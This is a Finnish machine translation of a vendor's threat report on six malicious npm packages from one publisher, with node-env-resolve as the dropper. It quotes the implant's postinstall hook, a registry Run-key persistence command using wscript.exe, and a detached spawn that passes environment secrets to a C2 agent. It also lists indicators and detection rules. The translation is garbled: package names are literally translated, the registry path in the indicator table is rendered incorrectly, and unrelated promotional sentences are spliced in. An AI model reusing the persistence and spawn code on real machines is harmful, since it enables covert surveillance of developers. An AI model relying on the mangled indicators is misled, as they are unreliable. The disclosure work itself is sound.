DevTap npm Typosquatting Attack

DevTap npm Typosquatting-hyökkäys: Kuusi haitallista pakettia kohdistetaan kehittäjien työasemiin

TL; DR

Yksi npm-julkaisija 1. huhtikuuta ja 3. toukokuuta 2026 välisenä aikana user0001, rekisteröity vahvistamattomalla Gmail-osoitteella tanvisoul9@gmail.com, hiljaa työnsi kuusi pakettia tarkoituksellisen mitäänsanomattomilla, infrastruktuurilta kuulostavilla nimillä: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeja node-env-resolve.

Kaksi uusinta versiota node-env-resolve, 1.0.7 ja 1.0.8, merkittiin Xygenin haittaohjelmien varhaisvaroitusjärjestelmällä (MEW) 2. toukokuuta ja vahvistettiin haitallisiksi 3. toukokuuta.

Implantti on epätavallinen siinä, mitä se ei ole: siinä ei ole Telegram-botteja, ei OAST-takaisinkutsuja, ei obfuscation, eikä AWS-tunnistetietoja yritetä noutaa asennuksen yhteydessä. Sen sijaan postinstall.js asettaa Windowsin käynnistyksen pysyvyysmerkinnän käyttämällä HKCU Run -avainta, joka käynnistää wscript.exe VBS-tynkää vasten. Sitten se luo erillisen Node.js-agentin, joka niputtaa moduulit mikrofonin sieppaukseen, selainhistorian varastamiseen, kuvakaappausten ottamiseen ja hiiren/näppäimistön simulointiin.

Kutsumme tätä klusteria DevTap, kun paketti lähtee toimimaan kehittäjän koneella.

Kaikki kuusi pakettia olivat saatavilla npm:ssä kirjoitushetkellä. Olemme lähettäneet ne rekisterin väärinkäyttökanavalle. Puolustajien tulisi poistaa kaikki asennukset julkaisijalta odottaessaan poistoa.

Klusteri: Kuusi pakettia, yksi julkaisija

Julkaisijan tili user0001 on vahvistamaton. Sillä ei ole SCM vahvistus, ei verkkotunnukseen sidottuja sähköposteja eikä aiempaa historiaa. Gmail-käyttäjätunnus tanvisoul9 ei esiinny missään muussa löytämässämme npm-julkaisijan tietueessa.

Kaikissa kuudessa paketissa on sama ylläpitäjä, ne on julkaistu samalta tililtä ja niillä on samat käyttöoikeudet. package.json vakiomuotoista. Ei ole olemassa repository, ei homepage, ja ei description pidempi kuin yksi rivi.

Nimeämisstrategia on mielenkiintoinen osa. Toisin kuin klassinen riippuvuussekaannuksia tai typosquat-kampanja, mikään näistä nimistä ei kohdistu tiettyyn ylävirran kirjastoon. Sen sijaan ne on kalibroitu katoamaan todelliseen... package.json or npm ls tuotos.

PakettiEnsimmäinen julkaistuUusin versioversiotRooli klusterissa
keskiaikainen2026-04-01 12:46 UTC1.0.95, versiosta 1.0.5 versioon 1.0.9Klusterin ”lokikirjausapuohjelman” kansi; varhaisin julkaisu
dom-utils-lite2026-04-14 07:36 UTC1.0.33Yleinen DOM-apukoodi
node-fetch-lite2026-04-19 10:22 UTC1.0.23Jäljittelee solmujen nouto-perhettä
liitinagentti2026-04-25 05:12 UTC1.0.01Yleinen nimi ”agentti”
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Matkii natiivimoduulien rakennustyökaluja
solmu-ympäristön-ratkaisu2026-04-25 05:21 UTC1.0.910, versiosta 1.0.0 versioon 1.0.9Aktiivinen pipetti; koko implantti

Nimet, kuten centralogger, node-fetch-liteja node-gyp-runtime on suunniteltu näyttämään kiistattomilta koodikatselmoinnissa. Ne kuulostavat asioilta, jotka olisivat jo projektin riippuvuuspuussa.

Yhdessä uuden, vahvistamattoman julkaisijan ja puuttuvien repositoriolinkkien kanssa ne muodostavat tunnistettavan kaavan: toimija syöttää rekisteriin helppokäyttöisiä nimiä ja iteroi sitten nopeasti sen, jolla on merkitystä. Tässä tapauksessa node-env-resolve sai kymmenen versiota kahdeksassa päivässä.

Mitä Windows-kehityslaatikkoon mahtuu

Ilkivaltainen ketju päällä node-env-resolve:1.0.8 on lyhyt, suora ja epätavallisen ominaisuuksiltaan rikas npm-RAT:lle.

Asennuksen jälkeinen: Pysyvyys ja irrotettu agentti

package.json julistaa yhden asennuskoukun:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js tekee kolme asiaa järjestyksessä.

Ensin se luo asennushakemiston npm-puun ulkopuolelle. Polku lasketaan skriptissä suorituksen aikana seuraavasti: INSTALL_DIRSitten se suorittaa sisäisen execSync('npm install --production --silent ...') sen sisällä hakeakseen implantin ajonaikaiset riippuvuudet. Tämä sijoittaa agentin levylle jonnekin käyttöohjeeseen node_modules tarkastus ei löydä.

Toiseksi se kirjoittaa VBS-käynnistysohjelman ja rekisteröi sen käynnistyksen pysyvyyttä varten:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe on Windows Script Host, allekirjoitettu Microsoftin binääritiedosto, joka toimii .vbs tiedostoja ilman konsoli-ikkunaa. Se on ennaltacisely miksi sitä suositaan autorun-tyngien kohdalla.

Mukana on myös vastaavuus reg delete polku sisällä src/index.js, mikä viittaa siihen, että implantti on suunniteltu siten, että se voidaan poistaa siististi käyttäjän käskystä.

Kolmanneksi se synnyttää erillisen lapsiprosessin:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Kaksi yksityiskohtaa on tässä tärkeä.

SERVER_URL luetaan ympäristöstä. Tämän seurauksena C2-päätepiste on konfiguroitavissa käyttöönottokohtaisesti eikä sitä ole valmiiksi pakattu. Tämä pieni mutta harkittu valinta estää useimmat staattiset IOC-pyyhkäisyt.

Myös syntynyt lapsi perii koko vanhemman ympäristön. Siksi mikä tahansa NPM_TOKEN, AWS_*, GITHUB_TOKEN, tai kehittäjäkomentotulkissa asennuksen aikana oleva SSH-agentin soketti siirtyy pitkäikäisen agentin muistiin.

Mitä agentti lähettää mukanaan

Mukana src/ puu sisältää kolme moduulia, joiden nimet jo itsessään kertovat tarinan: audioCapture.js, browserHistory.jsja systemInfo.js.

Suorituksenaikaisten riippuvuuksien luettelo, ratkaistu vaiheittaisen toteutuksen aikana npm install, vahvistaa ne.

Tämä lähestymistapa muuttaa kaoottisen tapahtuman kontrolloiduksi reaktioksi.

Sokeasti reagoimisen sijaan tiimit toimivat selkeä priorisointi ja nopea korjaus.

riippuvuusMihin se on tarkoitettu tässä yhteydessä
kuvakaappaus-työpöytäSäännöllinen näyttökuvan ottaminen
@nut-tree-fork/nut-jsHiiren ja näppäimistön automaatio / syötteen simulointi
parempi-sqlite3Chromen, Edgen ja Firefoxin historian SQLite-tietokantojen suoraluku
adm-zipKerättyjen esineiden niputtaminen ennen ulosvirtausta
teräväKuvakaappausten ja kuvavirheiden koon muuttaminen / pakkaaminen
socket.io-asiakasohjelmaPysyvä kaksisuuntainen C2-kanava
solmun koneen tunnusVakaa isäntäkohtainen sormenjälki uhrien seurantaa varten

systemInfo.js puhelut os.networkInterfaces() lisäsormenjälkien ottamista varten ennen ensimmäistä majakkaa.

Miksi äänen tallennus on erottuva signaali

Useimmat MEW:ssä triaasimme npm RAT -hyökkäykset pysähtyvät asennuksen aikaiseen salaisen varkauden kohteeksi. Ne lukevat. ~/.npmrc, lukea ~/.aws/credentials, kaapia process.env, POST webhookille ja poistu. Tämä sopii smash-and-grab-talousmalliin. Tunnuksilla on lyhyt puoliintumisaika, ja hyökkääjän on saatava ne nopeasti rahaksi.

node-env-resolve on muodoltaan erilainen.

Pysyvyys on asetettu kestämään uudelleenkäynnistyksen. Agentti toimii irrallaan ja pitkäikäisenä alla wscript.exeSen mukana tuleva paketti on tarkoitettu kehittäjän koneella olemiseen, ei kaappaamiseen ja ottamiseen mukaan: mikrofonitallennin, näppäimistö-/hiiriohjain, täydellinen selainhistorian tallennus, näytön kaappaus ja interaktiivinen Socket.IO-kanava takaisin konfiguroitavaan C2:een.

Erityisesti mikrofonien sieppaus on raja, jonka tämä kampanja ylittää, ja jonka useimmat npm-haittaohjelmat eivät ylitä.

Kehittäjän työasema on yhä useammin myös työasema, jossa kehittäjät pitävät stand-up-puheluita, asiakaspuheluita, suunnittelukeskusteluja ja päivystyssiltoja. Mikrofonia tallentava implantti ei oikeastaan ​​ole kehittäjän npm-tokenin perässä, vaan sen perässä, mitä kehittäjä sanoo kannettavan tietokoneen edessä.

Tuo ominaisuusjoukko sekä hämärryksen puute ja asennuksen aikaisen näyttävän vuotamisen puuttuminen tulkitsevat kohdennetun käytön ennakkoasemointina pikemminkin kuin opportunistisena tunnistetietojen varastamisena.

Emme väitä syyllisyyttä pelkästään tähän. Huomioimme toiminnan profiilin.

npm typosquatting-hyökkäys - DevTab

Kahdeksan päivän iteraatiopoljinnopeus päällä node-env-resolve on aikajanan toiminnallisesti paljastavin yksityiskohta.

Tämä ei ole "sytytä ja unohda" -tyyppinen pudotus. Julkaisija ylläpitää aktiivisesti dropperia, mikä yleensä tarkoittaa yhtä kahdesta asiasta. Joko he virittävät sitä testiympäristöjä vasten ennen laajempaa käyttöönottoa tai heillä on jo asennuksen telemetriatiedot tulossa ja he vastaavat niihin.

Muissa viidessä paketissa ei käytännössä havaittu vaihtuvuutta alkuperäisen julkaisun jälkeen. Tämä sopii tukiklusterin "vaihe kerran, jätä nimetty" -malliin, kun taas suunnittelutyö keskittyy pakettiin, joka tekee työn.

Nimeäminen: Pieniä vihjeitä, ei varmaa tuomiota

julkinen OSINT Signaalit ovat ohuita, emmekä venytä niitä. Mitä on havaittavissa:

Gmail-käyttäjätunnus tanvisoul9 muistuttaa osittain eteläaasialaista etunimeä ”Tanvi”. Tämä on heikko signaali. Gmail-käyttäjän nimet eivät ole identiteettiä, ja lopussa oleva soul9 on yleinen. Maantieteen päätteleminen pelkästään sähköpostin paikallisesta osasta ei ole turvallista.

Koodityyli on vaatimaton Node.js:ssä: standard kirjastopuhelut, kuten os, child_process, spawnja reg addSiinä ei ole hämärrystä, merkkijonojen kierrätystä eikä virheenkorjauksen estävää logiikkaa. Kirjoittaja on tottunut Windowsin rekisterialkuperäisominaisuuksiin ja irrallisten lapsiprosessien orkestrointiin, mutta hän ei näytä tavoittelevan huomaamattomampia kaupankäyntitekniikoita, joita he voisivat uskottavasti käyttää.

Riippuvuudet ovat täysin itsestäänselvyyksiä ja hyvin tunnettuja: screenshot-desktop, nut-js, better-sqlite3ja socket.io-clientEi ole olemassa mukautettua protokollaa, alusta asti kehitettyä C2-pinoa eikä oppikirjan ulkopuolista uutta pysyvyyskikkaa. HKCU-suoritusnäppäinTämä on pätevä integraattori, ei työkalujen tekijä.

Emme löytäneet julkaistuista artefakteista muita kuin englanninkielisiä merkkijonoja, upotettuja kommentteja, kielikohtaisia ​​tietoja tai kääntäjän tuottamia aikavyöhyketunnisteita.

Tarkistimme koodin päällekkäisyyksiä jo seuraamiemme aiempien kampanjoiden kanssa, mukaan lukien Shai Hulud, Owlivion, Buildkite ja viimeaikainen heibai / claude-code-best Anthropic-CLI-klooniperhe. Emme löytäneet yhtään: ei jaettuja C2-malleja, ei jaettuja tiedostoasetteluja eikä jaettuja idiomeja.

Emme sanoisi, että kyseessä on valtiollinen toimija, tunnettu ryhmä tai maantieteellisesti sidottu mihinkään tiettyyn maahan.

Toimintaprofiili on yhdenmukainen pienen, kohtalaisen ammattitaitoisen tiimin kanssa, joka suorittaa kehittäjätyöasemien valvontaa. Tiimin taloudellinen motiivi on todennäköisesti käyttöoikeuden jatkokäyttö, mutta mahdollisesti myös tiedustelupalveluna erilliselle ostajalle.

Kaksi epäsuoraa näkökohtaa tukee tätä: huomiota herättävien ja klusterin nopeasti polttavien tietomurtomekanismien, kuten Telegram-bottien, välttäminen. oastify.comtai canarytokens, ja tarkoituksella mitäänsanomattomat pakettien nimet, jotka suosivat hiljaisia ​​pitkiä asennuksia lyhyen suuren volyymin piikin sijaan.

Vahingoittumisen ja havaitsemisen indikaattorit

Paketit ja julkaisija
KenttäArvo
npm-julkaisijauser0001
Julkaisijan sähköpostiosoitetanvisoul9@gmail.com, vahvistamaton
Jäsenyydetcentralogger, dom-utils-lite, node-fetch-lite, connector-agentti, node-gyp-runtime, node-env-resolve
Vahvistettu haitalliseksinode-env-resolve@1.0.7, node-env-resolve@1.0.8
Isäntäartefaktit
TyyppiArvo
PysyvyysavainHKCU\Ohjelmisto\Microsoft\Windows\Nykyinen versio\Suorita
PysyvyysarvoMuuttujan nimi; data muotoa wscript.exe " \\ .vbs"
Asenna koukkujälkiasennus: solmu postinstall.js paketin manifestissa
Implanttimoduulitsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
ValmisteluhakemistoINSTALL_DIR ratkaistu projektin node_modules-kansion ulkopuolella; postinstall.js asetti sijainnin asennuksen yhteydessä
verkkotuotteet
TyyppiArvo
C2-kuljetussocket.io-client, pysyvä kaksisuuntainen kanava
C2-päätepisteAnnetaan agentille SERVER_URL-ympäristömuuttujan kautta; ei kiinteästi koodattu julkaistuihin artefakteihin

Havaitsemishuomautuksia

Kaksi sääntöä kuvaa tätä perhettä ilman C2-päätepistettä.

Merkitse ensin asennuksen jälkeiset komentosarjat, jotka suorittavat sisäisen npm install paketin oman hakemiston ulkopuoliseen polkuun. Mikä tahansa laillinen esikäändityksellinen lataaja, kuten node-gyp uudelleenrakennukset tai valmiiksi rakennettujen binäärien latausohjelmat, kirjoittavat paketin sisällä tai alustallestandard välimuistipolut vahvistetuilla tiivisteillä. Se ei kirjoita juuri luotuun tiedostoon INSTALL_DIR muualla levyllä.

Toiseksi, merkitse asennuksen jälkeiset komentosarjat, jotka aiheuttavat ongelmia reg add HKCU\…\Run wscript.exe käynnistysohjelmana. Tämä ei ole pohjimmiltaan koskaan laillista npm-paketilta. Merkitse ja aseta se karanteeniin.

Kolmas heuristiikka on hyödyllinen seuraavan sisarpaketin havaitsemiseen ennen sen vahvistamista: tuore npm-julkaisija, jolla ei ole SCM vahvistus, Gmail-sähköposti, ei repository kenttä, ja useita lyhyitä, yleisiä, infrastruktuurilta kuuloisia pakettien nimiä, jotka on julkaistu muutaman päivän välein, riittää itsessään manuaalisen tarkistuksen perusteeksi.

Ilmoitettu npm-rekisteriin. Päivitämme tätä viestiä, kun julkaisijan tili on poistettu.

sca-työkalut-ohjelmisto-koostumusanalyysityökalut
Priorisoi, korjaa ja suojaa ohjelmistoriskisi
Hanki ilmainen tili.
Luottokorttia ei vaadita.

Turvaa ohjelmistokehityksesi ja -toimituksesi

Xygeni-tuotepaketin kanssa